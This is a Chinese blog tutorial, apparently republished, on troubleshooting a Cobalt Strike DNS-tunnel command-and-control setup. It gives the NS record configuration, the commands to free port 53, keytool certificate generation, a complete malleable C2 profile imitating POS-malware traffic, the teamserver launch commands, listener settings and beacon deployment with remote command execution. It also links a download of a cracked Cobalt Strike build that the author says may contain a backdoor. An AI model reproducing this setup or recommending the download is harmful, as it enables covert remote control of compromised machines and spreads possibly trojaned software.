CS中DNS隧道踩坑的示例分析

今天就跟大家聊聊有关CS中DNS隧道踩坑的示例分析，可能很多人都不太了解，为了让大家更加了解，小编给大家总结了以下内容，希望大家根据这篇文章可以有所收获。

前言

DNS隧道的复现一直失败，看了无数的文章，被无数同人文荼毒之后，我CS终于成功上线了。

这里讲一下复现过程中踩过的坑，希望能帮一些朋友们少走一些弯路，有些细节的地方我水平有限，也属于猜想之类的，各位大佬们有理解的可以多分享、讨论。

我的配置情况是：

某不知名小厂的ubuntu18云服务器+godaddy购买的域名+CS4.1。

以下内容按照DNS隧道上线的过程书写。

坑点一：域名购买平台的选择

域名购买平台的要求在于，能否自由定制NS记录（不太理解这句话，可以直接跳转到"坑点三：域名的配置"）。

比如，能否添加一条NS记录，指定ns1.test.site指向www.test.site。

很多文章都是跟着粗暴地购买了godaddy。

但是在我复现的过程中，我曾经贪便宜买过一次很便宜的域名，买完发现不能自由配置NS记录，钱白花了。

我买错过一次之后，最后选择的也是godaddy的域名，然后我朋友看了下国内的几家大厂也是可以自由配置的。

坑点二：CS版本的选择

感谢这位大佬的博客，写得很好，涉及到了监听器的配置踩坑与DNS流量抓包分析，并且提到了CS版本的问题：

https://xz.aliyun.com/t/7938#toc-8

经过这个大佬的测试，以及我本人的验证，有些流传的CS4.0破解版在做checkin操作的时候，teamserver服务端不会响应传回启动命令（黑框不会变蓝上线）

所以我最后选择使用的是CS4.1版本

我的4.1版本的CS是在网上一个大佬的博客找的，弟弟比较菜，我也不知道是否有后门之类的，这里放个网盘链接吧：

链接：https://pan.baidu.com/s/1c8aqkrfpEhajJ9o_KCByhA

提取码：di9v

坑点三：域名的配置

域名设置如下：
一条A记录指向CS的IP地址
vpn.test.site => CS的IP地址
几条NS记录指向刚刚A记录对应的域名（也可以只写一条）
ns1.test.site => vpn.test.site
ns2.test.site => vpn.test.site
ns3.test.site => vpn.test.site
这里有个小细节，域名解析的地方有个TTL值，据说这东西关系到解析域名要等多长时间，国内的很多厂商设置的最小值可以写60，godaddy最小值为600，建议先把这个东西写成平台允许的最小值，等到检验OK了再调大，一般调成600~900即可

坑点四：53端口的占用

我的云服务器是ubuntu18，执行netsta命令的时候会看到一个服务占用了53端口，这个服务是systemd-resolved，是需要关闭的
关闭方法很简单：
systemctl stop systemd-resolved
如果不关闭这个服务，设置DNS监听器时很明显是有error的，其实就是端口冲突了
很多同人文喜欢写的nslookup得到0.0.0.0的响应信息，这时候nslookup是没有响应的

有些朋友们会修改bindto的那个端口号，比如我图片里看起来确实没有error了，但其实不得行
去nslookup依旧是没有响应的

现在关闭这个服务，然后nslookup，发现有响应了，响应为8.8.4.4，这个是跟profile里对应的，所以和同人文的0.0.0.0不一样（后面"坑点五：profile的配置"里面会讲）

这里我还做了测试，bindto的端口不论是置空还是指定，nslookup都是有响应的

我个人的猜想是CS的DNS服务与bindto的端口无关，与53端口有关
bindto的端口类似msf建立连接时指定用来处理事项的端口
53端口才是CS真正去做DNS的监听和收发信息的关键点，因此不能被占用

坑点五：profile的配置

感谢两位大佬的博客内容：
https://choge.top/2020/08/16/Cobaltstrike%E4%B9%8B%E6%B5%81%E9%87%8F%E9%9A%90%E8%97%8F/ （讲得是CS流量隐藏，这里用到的是开头的生成store文件的命令）
https://www.nctry.com/1655.html （我profile的内容就是从大佬这里捞过来改的）

store文件的生成

如图所示，删除服务器端原有的cobaltstrike.store
（这里我用的是finalshell，在ssh控制的同时，可以查看、修改、上传、下载服务器里的文件，推荐一波，挺好用的，下载地址：http://www.hostbuf.com/）

利用keytool生成store文件
keytool -keystore cobaltstrike.store -storepass 123456 -keypass 123456 -genkey -keyalg RSA -alias baidu.com -dname "CN=CC, OU=HW, O=IBM, L=AD, ST=AC, C=AV"
解释一下：
keystore store文件的名字 profile里的keystore要和这里的keystore一致，我采用的是cobaltstrike.store这个名字
keypass 证书密码 profile里的password要和这里设置的keypass一致，我下文profile是保持一致的，都用的123456
alias 别名 profile里的alias要和这里的alias一致，我下文的profile已经保持一致了，都用的baidu.com
dname 证书内容 profile里的https-certificate要和这里一致，我下文的profile已经保持一致了

storepass store文件的密码 这个被我单独拉出来说，因为这个不是和profile保持一致的，是和teamserver保持一致的，vim teamserver打开teamserver，把光标移动到文件尾部，可以看到如图所示

teamserver默认的store文件密码就是123456，我这里生成的时候就直接设置密码为123456了
修改端口号的话可以起到隐藏CS特征的作用，不过客户端连接服务器端的时候，别忘了把连接的端口号修改一下

profile文件的内容

以下内容保存并命名为命名为C2.profile，上传到服务器端

这里面的dns_idle可以自己配置的，我这里设置的是8.8.4.4也就是为什么我nslookup ns1.test.site的时候，响应的是8.8.4.4，而不是同人文里的0.0.0.0

set sample_name "tryblog POS Malware";
set sleeptime "5000"; # use a ~30s delay between callbacks
set jitter    "10";    # throw in a 10% jitter
set useragent "Mozilla/5.0 (Windows NT 6.1; rv:24.0) Gecko/20100101 Firefox/24.0";
#设置证书，注意以下内容得和你之前生成的证书一样
https-certificate {
    set CN       "CC";
    set O        "IBM";   
    set C        "AV";
    set L        "AD";
    set OU       "HW";  
    set ST       "AC";
    set validity "365";
}
#设置，修改成你的证书名称和证书密码
code-signer{
    set keystore "cobaltstrike.store";
    set password "123456";
    set alias "baidu.com";
}
#指定DNS beacon不用的时候指定到IP地址
set dns_idle "8.8.4.4";
#每个单独DNS请求前强制睡眠时间
set dns_sleep "0";
#通过DNS上载数据时主机名的最大长度[0-255]
set maxdns    "235";
http-post {
    set uri "/windebug/updcheck.php /aircanada/dark.php /aero2/fly.php /windowsxp/updcheck.php /hello/flash.php";
    client {
        header "Accept" "text/plain";
        header "Accept-Language" "en-us";
        header "Accept-Encoding" "text/plain";
        header "Content-Type" "application/x-www-form-urltrytryd";
        id {
            netbios;
            parameter "id";
        }
        output {
            base64;
            prepend "&op=1&id=vxeykS&ui=Josh @ PC&wv=11&gr=backoff&bv=1.55&data=";
            print;
        }
    }
    server {
        output {
            print;
        }
    }
}
http-get {
    set uri "/updates";
    client {
        metadata {
            netbiosu;
            prepend "user=";
            header "Cookie";
        }
    }
    server {
        header "Content-Type" "text/plain";
        output {
            base64;
            print;
        }
    }
}

通过profile启动CS

通过profile启动CS的命令：
./teamserver CS的IP地址 自己设置的密码 ./C2.profile
当然，也可以后台运行：
nohup ./teamserver CS的IP地址 自己设置的密码 ./C2.profile &

坑点六：监听器的设置

这一部分详细的分析可以看看大佬的博客：https://xz.aliyun.com/t/7938#toc-8
简单来讲，很多同人文喜欢往监听器里塞A记录的域名
但是实际情况是CS4.0之后，上下两个框框里要写的都是NS记录的域名，下面那个框框（stager）里面只需要随便挑一个上面大框框里的NS记录写上就行

上线时刻

接下来就是有手就行的上线时刻。

生成一个exe马，选择stageless的那个，一个原因是这个的dns有x64版本，另一个主要原因是，这是个完整的马，选另一个的话，被控机器和CS服务器之间要磨磨唧唧下载完stage数据，才会开始上线通信，这个过程太慢了。

虚拟机运行CS马，这时CS上有个黑框，平时http通道的直接是蓝色的。
只需要右键选择进入beacon，然后输入chekin，等一会儿，黑框就变蓝了，之后就能正常交互了

输入一个whoami测试一下，等待CS和被控机器的“亲切友好交流”结束，回显成功

结尾

以上就是这段时间摸索DNS隧道时踩过的坑，希望对一些朋友有帮助。最后，里面有些东西我没能理解，比如为啥不用profile启动CS就没有响应之类的，欢迎大家分享、讨论。

以下是猜测：

CS借助profile启动这一块我有个想法，我把C2.profile里的8.8.4.4改成0.0.0.0就失败无回应不能上线，改成23.234.234.234（随手乱打的）就能成功，所以我怀疑，0.0.0.0这个对DNS上线产生的影响，猜测默认的CS这款工具的设置里就是0.0.0.0，所以导致一直出现各种问题，直到我偶然修改profile并使用，相当于把0.0.0.0给换掉了，然后就上线成功了。

看完上述内容，你们对CS中DNS隧道踩坑的示例分析有进一步的了解吗？如果还想了解更多知识或者相关内容，请关注亿速云行业资讯频道，感谢大家的支持。